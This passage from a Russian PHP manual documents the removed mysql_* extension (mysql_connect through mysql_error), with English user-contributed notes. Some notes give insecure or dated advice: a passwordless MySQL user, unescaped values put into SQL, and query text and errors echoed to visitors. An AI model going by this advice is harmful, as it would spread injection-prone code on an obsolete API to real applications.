But it doesn't change the fact that these files have to be readable by Apache so that the PHP processor can get at them.

As long as your don't have multiple, possibly untrusted, users on your machine then that's OK.  But when you are running a large multi-user service with thousands of users its always possible that one of them will look at your .inc files and take a note of the passwords you have in them.  They could even copy them into their own scripts and modify your databases!

Even if local users are trusted, there is always the possibility of a rogue script (PHP or some nastier language) being installed by an ignorant user.  That script might then read your .inc files (whether or not they are in the web publishing tree) and expose your password.
brinca at substancia dot com 09-Nov-2006 07:43
If you prefer to use a hostname instead of an ip on your connection string in a script (to be able to change the ip at will), but don't want the overhead of dns lookups, just add it to your /etc/hosts file (in windows: %WINDIR%/system32/drivers/etc/hosts).

For example, add the following to your hosts file (changing the bogus ip to your server's real ip):

123.123.123.123   mysqlserver1

Note: On linux, make sure you have "order: hosts,bind" on your /etc/host.conf file.

On a script, make the mysql connection like so:

<?
  $sid = mysql_connect ("mysqlserver1", "user", "pass");
?>

Note: this sample is in php, but it can be any other programming language (just type "ping mysqlserver1" on a prompt, on your server)

And there you have it! If your server ever gets assigned a different ip, just update the hosts file with the new one (every script will work as-is, even if under different hostnames).
rui dot batista at netcabo dot pt 31-May-2006 08:42
Ever wonder what "default username" is?
<?php
$link = mysql_connect() or die(mysql_error());
$result = mysql_query("SELECT SESSION_USER(), CURRENT_USER();");
$row = mysql_fetch_row($result);
echo "SESSION USER: ", $row[0], "<br>\n";
echo "CURRENT USER: ", $row[1], "<br>\n";
?>
Both are ODBC@localhost in my win2k install, so my advice for windows is:
- create a MySQL user named ODBC with no password
- add localhost to ODBC user [right-click ODBC]
- set schema previleges to ODBC@localhost
- use mysql_connect() with no parms, or do not use ;)
This turns to work also with odbc_connect:
odbc_connect("myDSN", "", "")
25-Jun-2005 03:18
connect to mysql via named pipe under windows :

in my.ini, add this:

[mysqld]
enable-named-pipe

then connect to the server, then connect to mysql using

mysql_connect('.')
chaoscontrol_hq at yahoo dot com 23-Aug-2004 02:10
In MySQL4.1 and later, the default password hashing format has changed making it incompatible with 3.x clients.
I found out mysql_connect() works on server versions >= 4.1 when your MySQL user password is blank because password authentication isn't done in that case, otherwise you need to use another connection method (e.g. mysqli).
Also if you are using old MySQL tables on a new server (i.e. the passwords are stored in the old format), then the server will use the old auth method automatically and this function should work in all cases.
Hopefully this will help someone, it had me confused for a while because some of the users on my 4.1 server could connect and some couldn't.
martinnitram at excite dot com 31-Oct-2003 02:22
to use load data local infile function from mysql (at mysql 4.0.16, php 4.3.3), set fifth parameter of mysql_connect() to CLIENT_LOCAL_FILES(128), which based on MYSQL C API ( also mysql server support load file, check by "show variables like 'local_infile' ")

Thank  'phpweb at eden2 dot com' to point this out
Graham_Rule at ed dot ac dot uk 14-May-2003 08:43
Another solution to the security problems of putting usernames and passwords into scripts. I haven't found this documented anywhere else so thought I'd suggest it for the online documentation. ........

Don't put passwords for mysql into scripts which may be read by any user on the machine.  Instead put them into an Apache configuration file and make sure that it is not world-readable. (Apache reads its main config files as root.)

For example, add this to your httpd.conf (and chmod it to 600 or 660) then tell your apache to reload itself (apachectl graceful).

<Directory /var/www/html/mydatabase>
    php_value mysql.default_user fred
    php_value mysql.default_password secret
    php_value mysql.default_host server.example.com
</Directory>

Then all you need in your PHP code is

$handle = mysql_connect() or die(mysql_error());

The passwords etc will only be picked up by scripts running in the named directory (or a sub-directory).  The same may be done for virtualhosts etc.

If you don't want to keep reloading your Apache server then you ay test things putting the php_value directives into a (world readable) .htaccess file. (Clearly not for production use.)

If you need to debug the values that are being supplied (or not) then use this snippet:

@syslog(LOG_DEBUG, "Using user=".ini_get("mysql.default_user").
            " pass=".ini_get("mysql.default_password").
            " host=".ini_get("mysql.default_host"));

(This assumes that you are not running in 'safe_mode' and that you are on a unix of some sort.)
amn -at- frognet.net 11-Mar-2003 10:40
Just in case you didn't know. You can use mysql_connect in a function to connect to a database and the connection is a super-global... meaning you can use mysql_query in other functions or in no function at all and PHP will use the connection that you opened. This is a handy bit of knowledge that helps if you have a large site with lots of scripts. If you create one function to connect to a db, and call that function in all your scripts, it makes for easier code maintenance since you only have to update one line of code to change your mysql connection instead of updating all your scripts individually.


Создаёт базу данных MySQL

  • « mysql_connect
  • mysql_data_seek »
  • PHP Manual
  • MySQL
  • Создаёт базу данных MySQL

mysql_create_db

(PHP 4, PHP 5)

mysql_create_db — Создаёт базу данных MySQL

Внимание

Данная функция объявлена устаревшей в PHP 4.3.0, и, вместе с модулем MySQL, удалена PHP в 7.0.0. Вместо неё используйте активно развивающиеся модули MySQLi или PDO_MySQL. Так же смотрите раздел MySQL: выбор API. Альтернативы для этой функции:

  • mysqli_query()
  • PDO::query()

Описание

mysql_create_db(string $database_name, resource $link_identifier = NULL): bool

mysql_create_db() пытается создать базу данных на сервере, с которым ассоциирован переданный дескриптор соединения.

Список параметров

database_name

Имя создаваемой базы данных.

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример создания базы данных MySQL

Функция mysql_create_db() не рекомендуется к использованию. Предпочтительнее использовать mysql_query() с SQL-запросом создания базы данных CREATE DATABASE.

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}

$sql = 'CREATE DATABASE my_db';
if (mysql_query($sql, $link)) {
echo "База my_db успешно создана\n";
} else {
echo 'Ошибка при создании базы данных: ' . mysql_error() . "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

База my_db успешно создана

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_createdb()

Замечание:

Данная функция не будет доступна, если модуль MySQL был скомпилирован клиентской библиотекой MySQL версии 4.x.

Смотрите также

  • mysql_query() - Посылает запрос MySQL
  • mysql_select_db() - Выбирает базу данных MySQL

User Contributed Notes

There are no user contributed notes for this page.


Перемещает внутренний указатель в результате запроса

  • « mysql_create_db
  • mysql_db_name »
  • PHP Manual
  • MySQL
  • Перемещает внутренний указатель в результате запроса

mysql_data_seek

(PHP 4, PHP 5)

mysql_data_seek — Перемещает внутренний указатель в результате запроса

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_data_seek()
  • PDO::FETCH_ORI_ABS

Описание

mysql_data_seek(resource $result, int $row_number): bool

mysql_data_seek() перемещает внутренний указатель результата запроса, с которым связан переданный дескриптор, к ряду с указанным номером. Следующий вызов к функции получения данных MySQL, такой как mysql_fetch_assoc(), вернёт именно его.

Нумерация row_number начинается с 0. row_number должен быть значением в диапазоне от 0 до mysql_num_rows() - 1. Однако, если результат пуст (mysql_num_rows() == 0), то попытка сдвига указателя к нулевому ряду завершится неудачей - будет вызвана ошибка уровня E_WARNING и mysql_data_seek() вернёт false.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

row_number

Желаемый номер ряда в полученном дескрипторе результата.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_data_seek()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
$db_selected = mysql_select_db('sample_db');
if (!$db_selected) {
die('Не удалось выбрать базу данных: ' . mysql_error());
}
$query = 'SELECT last_name, first_name FROM friends';
$result = mysql_query($query);
if (!$result) {
die('Ошибка запроса: ' . mysql_error());
}
/* получение рядов в обратном порядке */
for ($i = mysql_num_rows($result) - 1; $i >= 0; $i--) {
if (!mysql_data_seek($result, $i)) {
echo "Не удалось переместиться к ряду $i: " . mysql_error() . "\n";
continue;
}

if (!($row = mysql_fetch_assoc($result))) {
continue;
}

echo $row['last_name'] . ' ' . $row['first_name'] . "<br />\n";
}

mysql_free_result($result);
?>

Примечания

Замечание:

Функция mysql_data_seek() может быть использована
только с mysql_query(), но не с
mysql_unbuffered_query().

Смотрите также

  • mysql_query() - Посылает запрос MySQL
  • mysql_num_rows() - Возвращает количество рядов результата запроса
  • mysql_fetch_row() - Обрабатывает ряд результата запроса и возвращает массив с числовыми индексами
  • mysql_fetch_assoc() - Возвращает ряд результата запроса в качестве ассоциативного массива
  • mysql_fetch_array() - Обрабатывает ряд результата запроса, возвращая ассоциативный массив, численный массив или оба
  • mysql_fetch_object() - Обрабатывает ряд результата запроса и возвращает объект

User Contributed Notes

saeed at photobookworldwide dot com 25-Nov-2011 06:30
Here, you can find the current pointer of selected row easily:

<?php
//selected row with id=4
$id    =    "4";

$result    =    mysql_query("select * from jos_components");

$num    =    mysql_num_rows($result);

for($i=0;$i<$num;$i++){

    mysql_data_seek($result,$i);

    $row    =    mysql_fetch_assoc($result);

    if($row['id']    ==    $id){

        $pointer    =    $i;
    }

}

// current pointer for selected row
echo $pointer;
?>
Daniel 28-Aug-2008 02:59
Here is a simple function to "peek" at the position of the internal pointer in a query result:

<?php
function mysql_pointer_position($result_set) {
        $num_rows = mysql_num_rows($result_set);
        $i = 0;
        while($result = mysql_fetch_array($result_set)) {
            $i++;
        }
        $pointer_position = $num_rows - $i;

//Return pointer to original position
        if($pointer_position <= $num_rows - 1) {
            mysql_data_seek($result_set, $pointer_position);
        }
        return $pointer_position;
    }
?>
30-May-2006 01:52
A helpful note about the 'resource' data type.

Since the 'resource' variable is pointing to a row in a result set at any given time, you can think of it as being passed to this function by reference every time you pass it or assign it to a variable.

<?

$sql = "SELECT * from <table>";
$result = mysql_query($sql);
$temp_result = $result;

while ($row = mysql_fetch_assoc($temp_result)) {
    // do stuff with $row
}

while ($row = mysql_fetch_assoc($result)) {
    // This code will never run because the 'resource' variable is pointing past the end of the result set,
    // even though it was *not* assigned by reference to $result2.
}

?>

Therefore, the following snipits are functionally identical:

<?

// Start snipit 1

$sql = "SELECT * from <table>";
$result = mysql_query($sql);

while ($row = mysql_fetch_assoc($result)) {
    // do stuff with $row
}

mysql_data_seek($result, 0);

while ($row = mysql_fetch_assoc($result)) {
    // do other stuff with $row
}

// Start snipit 2

$sql = "SELECT * from <table>";
$result = mysql_query($sql);
$temp_result = $result;

while ($row = mysql_fetch_assoc($temp_result)) {
    // do stuff with $row
}

mysql_data_seek($result, 0);

while ($row = mysql_fetch_assoc($temp_result)) {
    // do other stuff with $row
}

?>
arturo_b at hotmail dot com 20-Apr-2005 08:53
hello, this script would be easy to understand for those that are novice in php whose want to understand about this function:

the table "user" have 2 columns "id" and "name".
"user" content:
position 0: "id"=195342481 "name"='Arthur'
position 1: "id"=179154675 "name"='John'
>>position 2<<: "id"=157761949 "name"='April' >>third row<<
position 3: "id"=124492684 "name"='Tammy'
position 4: "id"=191346457 "name"='Mike'

<?php
  mysql_connect("localhost", "root")
  mysql_select_db("test");
  $sql = mysql_query("select * from user");
  mysql_data_seek($sql, 2);
  echo "<table border=1>";
  while ($row = mysql_fetch_row($sql)){
    echo "<tr><td>$row[0]</td><td>$row[1]</td></tr>";
  }
  echo "</tabla>";
?>

explanation:
mysql_data_seek move internal result pointer to the third row of table user. Thus mysql_fetch_row will begin by april?s row.
b.steinbrink at g m x dot de 08-Dec-2004 11:09
to kennethnash1134 at yahoo dot com

your loop can be done like this as well and i guess this is faster:

$r=mysql_query("select user,id,ip from accounts limit 10");

unset($users); // Just to be sure
while($users[] = mysql_fetch_row);
array_pop($users); // Drop the last entry which is FALSE
kennethnash1134 at yahoo dot com 26-Mar-2004 12:12
/*here is a nice function for converting a mysql result row set into a 2d array, a time saver if need small data from several rows, saves you from having to do Alot of queries... would be nice to have this built into PHP future versions :) */

// simple example query
$r=mysql_query("select user,id,ip from accounts limit 10");

//starts the for loop, using mysql_num_rows() to count total
//amount of rows returned by $r
for($i=0; $i<mysql_num_rows($r); $i++){
             //advances the row in the mysql resource $r
    mysql_data_seek($r,$i);
             //assigns the array keys, $users[row][field]
    $users[$i]=mysql_fetch_row($r);
}

//simple, hope someone can use it :)
// -Kenneth Nash


Возвращает название базы данных из вызова к mysql_list_dbs

  • « mysql_data_seek
  • mysql_db_query »
  • PHP Manual
  • MySQL
  • Возвращает название базы данных из вызова к mysql_list_dbs

mysql_db_name

(PHP 4, PHP 5)

mysql_db_name — Возвращает название базы данных из вызова к mysql_list_dbs()

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • Запрос: SELECT DATABASE()

Описание

mysql_db_name(resource $result, int $row, mixed $field = NULL): string

Возвращает название базы данных из вызова к mysql_list_dbs().

Список параметров

result

Дескриптор результата, полученный из вызова mysql_list_dbs().

row

Индекс в результате.

field

Имя поля.

Возвращаемые значения

Возвращает название базы данных в случае успешного выполнения, или false в случае ошибки. В случае возврата false используйте mysql_error() для определения природы ошибок.

Примеры

Пример #1 Пример использования mysql_db_name()

<?php
error_reporting(E_ALL);

$link = mysql_connect('dbhost', 'username', 'password');
$db_list = mysql_list_dbs($link);

$i = 0;
$cnt = mysql_num_rows($db_list);
while ($i < $cnt) {
echo mysql_db_name($db_list, $i) . "\n";
$i++;
}
?>

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_dbname()

Смотрите также

  • mysql_list_dbs() - Возвращает список баз данных, доступных на сервере
  • mysql_tablename() - Возвращает имя таблицы, содержащей указанное поле

User Contributed Notes

There are no user contributed notes for this page.


Переключается на указанную базу данных и посылает запрос

  • « mysql_db_name
  • mysql_drop_db »
  • PHP Manual
  • MySQL
  • Переключается на указанную базу данных и посылает запрос

mysql_db_query

(PHP 4, PHP 5)

mysql_db_query — Переключается на указанную базу данных и посылает запрос

Внимание

Данная функция объявлена устаревшей в PHP 5.3.0, и, вместе с модулем MySQL, удалена PHP в 7.0.0. Вместо неё используйте активно развивающиеся модули MySQLi или PDO_MySQL. Так же смотрите раздел MySQL: выбор API. Альтернативы для этой функции:

  • mysqli_select_db() then the query
  • PDO::__construct()

Описание

mysql_db_query(string $database, string $query, resource $link_identifier = NULL): resource|bool

mysql_db_query() выбирает базу данных и выполняет запрос к ней.

Список параметров

database

Имя базы данных, на которую произойдёт переключение.

query

Запрос MySQL.

Данные в запросе должны быть корректно проэкранированы.

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает ресурс результата запроса к MySQL или false в случае возникновения ошибки. Функция также возвращает true/false для INSERT/UPDATE/DELETE запросов для индикации успеха/провала.

Примеры

Пример #1 Пример использования альтернативы mysql_db_query()

<?php

if (!$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')) {
echo 'Не удалось подключиться к mysql';
exit;
}

if (!mysql_select_db('mysql_dbname', $link)) {
echo 'Не удалось выбрать базу данных';
exit;
}

$sql = 'SELECT foo FROM bar WHERE id = 42';
$result = mysql_query($sql, $link);

if (!$result) {
echo "Ошибка DB, запрос не удался\n";
echo 'MySQL Error: ' . mysql_error();
exit;
}

while ($row = mysql_fetch_assoc($result)) {
echo $row['foo'];
}

mysql_free_result($result);

?>

Примечания

Замечание:

Учтите, что эта функция НЕ переключает соединение обратно к предыдущей базе данных. Другими словами, вы не можете использовать эту функцию, чтобы временно переключиться на другую базу данных и выполнить запрос. Переключиться обратно вам придётся вручную. Крайне рекомендуется использовать синтаксис database.table в SQL-запросах или функцию mysql_select_db(), вместо использования этой функции.

Смотрите также

  • mysql_query() - Посылает запрос MySQL
  • mysql_select_db() - Выбирает базу данных MySQL

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает базу данных MySQL

  • « mysql_db_query
  • mysql_errno »
  • PHP Manual
  • MySQL
  • Уничтожает базу данных MySQL

mysql_drop_db

(PHP 4, PHP 5)

mysql_drop_db — Уничтожает базу данных MySQL

Внимание

Данная функция объявлена устаревшей в PHP 4.3.0, и, вместе с модулем MySQL, удалена PHP в 7.0.0. Вместо неё используйте активно развивающиеся модули MySQLi или PDO_MySQL. Так же смотрите раздел MySQL: выбор API. Альтернативы для этой функции:

  • Выполнить запрос DROP DATABASE

Описание

mysql_drop_db(string $database_name, resource $link_identifier = NULL): bool

mysql_drop_db() пытается уничтожить базу данных на сервере, на который ссылается переданный дескриптор соединения. Данная функция устарела, используйте вместо неё mysql_query() с запросом DROP DATABASE.

Список параметров

database_name

Имя удаляемой базы данных.

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Альтернативный пример использования mysql_drop_db()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Не удалось подключиться к базе данных: ' . mysql_error());
}

$sql = 'DROP DATABASE my_db';
if (mysql_query($sql, $link)) {
echo "База данных my_db была успешно удалена\n";
} else {
echo 'Ошибка при удалении базы данных: ' . mysql_error() . "\n";
}
?>

Примечания

Внимание

Эта функция недоступна, если модуль был скомпилирован с клиентской библиотекой MySQL версии 4.x.

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_dropdb()

Смотрите также

  • mysql_query() - Посылает запрос MySQL

User Contributed Notes

There are no user contributed notes for this page.


Возвращает численный код ошибки выполнения последней операции с MySQL

  • « mysql_drop_db
  • mysql_error »
  • PHP Manual
  • MySQL
  • Возвращает численный код ошибки выполнения последней операции с MySQL

mysql_errno

(PHP 4, PHP 5)

mysql_errno — Возвращает численный код ошибки выполнения последней операции с MySQL

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_errno()
  • PDO::errorCode()

Описание

mysql_errno(resource $link_identifier = NULL): int

Возвращает код ошибки последней функции работы с MySQL.

Ошибки работы с MySQL больше не вызывают сообщений в PHP. Вместо этого используйте функцию mysql_errno(), чтобы получить код ошибки. Учтите, что функция возвращает код ошибки только последней выполненной функции (исключая mysql_error() и mysql_errno()). Проверяйте результат работы функции до вызова следующей.

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает код ошибки последней функции работы с MySQL, или 0 (ноль), если операция выполнена успешно.

Примеры

Пример #1 Пример использования mysql_errno()

<?php
$link = mysql_connect("localhost", "mysql_user", "mysql_password");

if (!mysql_select_db("nonexistentdb", $link)) {
echo mysql_errno($link) . ": " . mysql_error($link). "\n";
}

mysql_select_db("kossu", $link);
if (!mysql_query("SELECT * FROM nonexistenttable", $link)) {
echo mysql_errno($link) . ": " . mysql_error($link) . "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

1049: Unknown database 'nonexistentdb'
1146: Table 'kossu.nonexistenttable' doesn't exist

Смотрите также

  • mysql_error() - Возвращает текст ошибки последней операции с MySQL
  • » Коды ошибок MySQL

User Contributed Notes

timstamp.co.uk 25-Jun-2007 07:51
If you are receiving errors like:
Warning: mysql_close(): 5 is not a valid MySQL-Link resource

Check that you are calling mysql_error() and mysql_errno() BEFORE you call mysql_close().
simon at paarlberg dot dk 13-Dec-2005 03:40
Function for creating unique md5 keys in a database. If there are duplets, then a new md5-key will be generated. For your use:

  function users_md5create($id){
    global $mysql_link;

    while ($done==0) {
      $md5key = md5(time().($id/2).$loop).md5(time().$id.$loop);
      $query = "INSERT INTO users_md5create SET md5key='$md5key', fkey='$id', created=UNIX_TIMESTAMP() ";
      $mysql_result = mysql_query($query, $mysql_link);
      if(mysql_errno($mysql_link)!=1062) $done=1;
      $loop++;
    }

    return($md5key);
  }
apoio at cyberspace dot org 29-Jun-2000 05:58
All mysqld error messages are located into the file /usr/local/share/mysql/english/errmsg.txt and listed in numerical order from 999 to 1175. You can change the output language as well, issuing the '-L spanish' option for example. See the manual for more details.


Возвращает текст ошибки последней операции с MySQL

  • « mysql_errno
  • mysql_escape_string »
  • PHP Manual
  • MySQL
  • Возвращает текст ошибки последней операции с MySQL

mysql_error

(PHP 4, PHP 5)

mysql_error — Возвращает текст ошибки последней операции с MySQL

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_error()
  • PDO::errorInfo()

Описание

mysql_error(resource $link_identifier = NULL): string

Возвращает текст ошибки выполнения последней функции MySQL. Ошибки работы с MySQL больше не вызывают сообщений в PHP. Вместо этого используйте функцию mysql_error(), для получения сообщения об ошибке. Учтите, что функция возвращает текст ошибки только последней выполненной функции MySQL (исключая mysql_error() и mysql_errno()), поэтому убедитесь, что вы вызываете данную функцию до вызова следующей функции MySQL.

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает текст ошибки выполнения последней функции MySQL, или '' (пустую строку), если операция выполнена успешно.

Примеры

Пример #1 Пример использования mysql_error()

<?php
$link = mysql_connect("localhost", "mysql_user", "mysql_password");

mysql_select_db("nonexistentdb", $link);
echo mysql_errno($link) . ": " . mysql_error($link). "\n";

mysql_select_db("kossu", $link);
mysql_query("SELECT * FROM nonexistenttable", $link);
echo mysql_errno($link) . ": " . mysql_error($link) . "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

1049: Unknown database 'nonexistentdb'
1146: Table 'kossu.nonexistenttable' doesn't exist

Смотрите также

  • mysql_errno() - Возвращает численный код ошибки выполнения последней операции с MySQL
  • » Коды ошибок MySQL

User Contributed Notes

Gerrit 30-Aug-2014 09:30
The following code returns two times the same error, even though I would have expected only one:

   $ conn = mysql_connect ('localhost', 'root', '');
   $ conn2 = mysql_connect ('localhost', 'root', '');

   mysql_select_db ('db1', $ conn);
   mysql_select_db ('db2', $ conn2);

   $ result = mysql_query ("select 1 from dual", $ conn);
   $ result2 = mysql_query ("select 1 from luad", $ conn2);

   echo mysql_error ($ conn) "<hr>".
   echo mysql_error ($ conn2) "<hr>".

The reason for this is that mysql_connect not working as expected a further connection returns. Since the parameters are equal, a further reference to the previous link is returned. So also changes the second mysql_select_db the selected DB of $conn to 'db2'.

If you change the connection parameters of the second connection to 127.0.0.1, a new connection is returned. In addition to the parameters new_link the mysql_connect() function to be forced.
Florian Sidler 02-Feb-2010 02:33
Be aware that if you are using multiple MySQL connections you MUST support the link identifier to the mysql_error() function. Otherwise your error message will be blank.

Just spent a good 30 minutes trying to figure out why i didn't see my SQL errors.
Pendragon Castle 13-Jan-2009 07:16
Using a manipulation of josh ><>'s function, I created the following. It's purpose is to use the DB to store errors. It handles both original query, as well as the error log. Included Larry Ullman's escape_data() as well since I use it in q().

<?php
function escape_data($data){
 global $dbc;
 if(ini_get('magic_quotes_gpc')){
  $data=stripslashes($data);
 }
 return mysql_real_escape_string(trim($data),$dbc);
}

function q($page,$query){
// $page
 $result = mysql_query($query);
 if (mysql_errno()) {
  $error = "MySQL error ".mysql_errno().": ".mysql_error()."\n<br>When executing:<br>\n$query\n<br>";
  $log = mysql_query("INSERT INTO db_errors (error_page,error_text) VALUES ('$page','".escape_data($error)."')");
 }
}

// Run the query using q()
$query = "INSERT INTO names (first, last) VALUES ('myfirst', 'mylast'");
$result = q("Sample Page Title",$query);
?>
Gianluigi_Zanettini-MegaLab.it 25-May-2007 03:50
A friend of mine proposed a great solution.

<?php
$old_track = ini_set('track_errors', '1');

.....

        if ($this->db_handle!=FALSE && $db_selection_status!=FALSE)
            {
            $this->connected=1;
            ini_set('track_errors', $old_track);
            }
        else
            {
            $this->connected=-1;
            $mysql_warning=$php_errormsg;
            ini_set('track_errors', $old_track);
            throw new mysql_cns_exception(1, $mysql_warning . " " . mysql_error());
            }
?>
Gianluigi_Zanettini-MegaLab.it 25-May-2007 01:20
"Errors coming back from the MySQL database backend no longer issue warnings." Please note, you have an error/bug here. In fact, MySQL 5.1 with PHP 5.2:

Warning: mysql_connect() [function.mysql-connect]: Unknown MySQL server host 'locallllllhost' (11001)

That's a warning, which is not trapped by mysql_error()!
phpnet at robzazueta dot com 23-Jan-2007 11:14
This is a big one - As of MySQL 4.1 and above, apparently, the way passwords are hashed has changed. PHP 4.x is not compatible with this change, though PHP 5.0 is. I'm still using the 4.x series for various compatibility reasons, so when I set up MySQL 5.0.x on IIS 6.0 running PHP 4.4.4 I was surpised to get this error from mysql_error():

MYSQL: Client does not support authentication protocol requested by server; consider upgrading MySQL client

According to the MySQL site (http://dev.mysql.com/doc/refman/5.0/en/old-client.html) the best fix for this is to use the OLD_PASSWORD() function for your mysql DB user. You can reset it by issuing to MySQL:

Set PASSWORD for 'user'@'host' = OLD_PASSWORD('password');

This saved my hide.
l dot poot at twing dot nl 12-Jul-2006 05:38
When creating large applications it's quite handy to create a custom function for handling queries. Just include this function in every script. And use db_query(in this example) instead of mysql_query.

This example prompts an error in debugmode (variable $b_debugmode ). An e-mail with the error will be sent to the site operator otherwise.

The script writes a log file in directory ( in this case /log ) as well.

The system is vulnerable when database/query information is prompted to visitors. So be sure to hide this information for visitors anytime.

Regars,

Lennart Poot
http://www.twing.nl

<?php
$b_debugmode = 1; // 0 || 1

$system_operator_mail = 'developer@company.com';
$system_from_mail = 'info@mywebsite.com';

function db_query( $query ){
  global $b_debugmode;

  // Perform Query
  $result = mysql_query($query);

  // Check result
  // This shows the actual query sent to MySQL, and the error. Useful for debugging.
  if (!$result) {
    if($b_debugmode){
      $message  = '<b>Invalid query:</b><br>' . mysql_error() . '<br><br>';
      $message .= '<b>Whole query:</b><br>' . $query . '<br><br>';
      die($message);
    }

    raise_error('db_query_error: ' . $message);
  }
  return $result;
}

  function raise_error( $message ){
    global $system_operator_mail, $system_from_mail;

    $serror=
    "Env:       " . $_SERVER['SERVER_NAME'] . "\r\n" .
    "timestamp: " . Date('m/d/Y H:i:s') . "\r\n" .
    "script:    " . $_SERVER['PHP_SELF'] . "\r\n" .
    "error:     " . $message ."\r\n\r\n";

    // open a log file and write error
    $fhandle = fopen( '/logs/errors'.date('Ymd').'.txt', 'a' );
    if($fhandle){
      fwrite( $fhandle, $serror );
      fclose(( $fhandle ));
     }

    // e-mail error to system operator
    if(!$b_debugmode)
      mail($system_operator_mail, 'error: '.$message, $serror, 'From: ' . $system_from_mail );
  }

?>
05-Jan-2005 12:53
My suggested implementation of mysql_error():

$result = mysql_query($query) or die("<b>A fatal MySQL error occured</b>.\n<br />Query: " . $query . "<br />\nError: (" . mysql_errno() . ") " . mysql_error());

This will print out something like...

A fatal MySQL error occured.
Query: SELECT * FROM table
Error: (err_no) Bla bla bla, you did everything wrong

It's very useful to see your query in order to detect problems with syntax. Most often, the output message from MySQL doesn't let you see enough of the query in the error message to let you see where your query went bad- it a missing quote, comma, or ( or ) could have occured well before the error was detected. I do -not- recomend using this procedure, however, for queries which execute on your site that are not user-specific as it has the potential to leak sensative data. Recomended use is just for debugging/building a script, and for general user-specific queries which would at the worst, leak the users own information to themself.

Good luck,

-Scott
aleczapka _at) gmx dot net 16-Jul-2004 10:05
If you want to display errors like "Access denied...", when mysql_error() returns "" and mysql_errno() returns 0, use  $php_errormsg. This Warning will be stored there.  You need to have track_errors set to true in your php.ini.

Note. There is a bug in either documentation about error_reporting() or in mysql_error() function cause manual for mysql_error(), says:  "Errors coming back from the MySQL database backend no longer issue warnings." Which is not true.
olaf at amen-online dot de 22-Jun-2004 11:08
When dealing with user input, make sure that you use
<?php
echo htmlspecialchars (mysql_error ());
?>
instead of
<?php
echo mysql_error ();
?>

Otherwise it might be possible to crack into your system by submitting data that causes the SQL query to fail and that also contains javascript commands.

Would it make sense to change the examples in the documentation for mysql_query () and for mysql_error () accordingly?
miko_il AT yahoo DOT com 11-Dec-2003 11:25
Following are error codes that may appear when you call MySQL from any host language:

http://www.mysql.com/doc/en/Error-returns.html
josh ><> 13-Oct-2003 04:26
Oops, the code in my previous post only works for queries that don't return data (INSERT, UPDATE, DELETE, etc.), this updated function should work for all types of queries (using $result = myquery($query);):

    function myquery ($query) {
        $result = mysql_query($query);
        if (mysql_errno())
            echo "MySQL error ".mysql_errno().": ".mysql_error()."\n<br>When executing:<br>\n$query\n<br>";
        return $result;
    }
scott at rocketpack dot net 25-Jul-2003 02:44
My suggested implementation of mysql_error():

$result = mysql_query($query) or die("<b>A fatal MySQL error occured</b>.\n<br />Query: " . $query . "<br />\nError: (" . mysql_errno() . ") " . mysql_error());

This will print out something like...

<b>A fatal MySQL error occured</b>.
Query: SELECT * FROM table
Error: (err_no) Bla bla bla, you did everything wrong

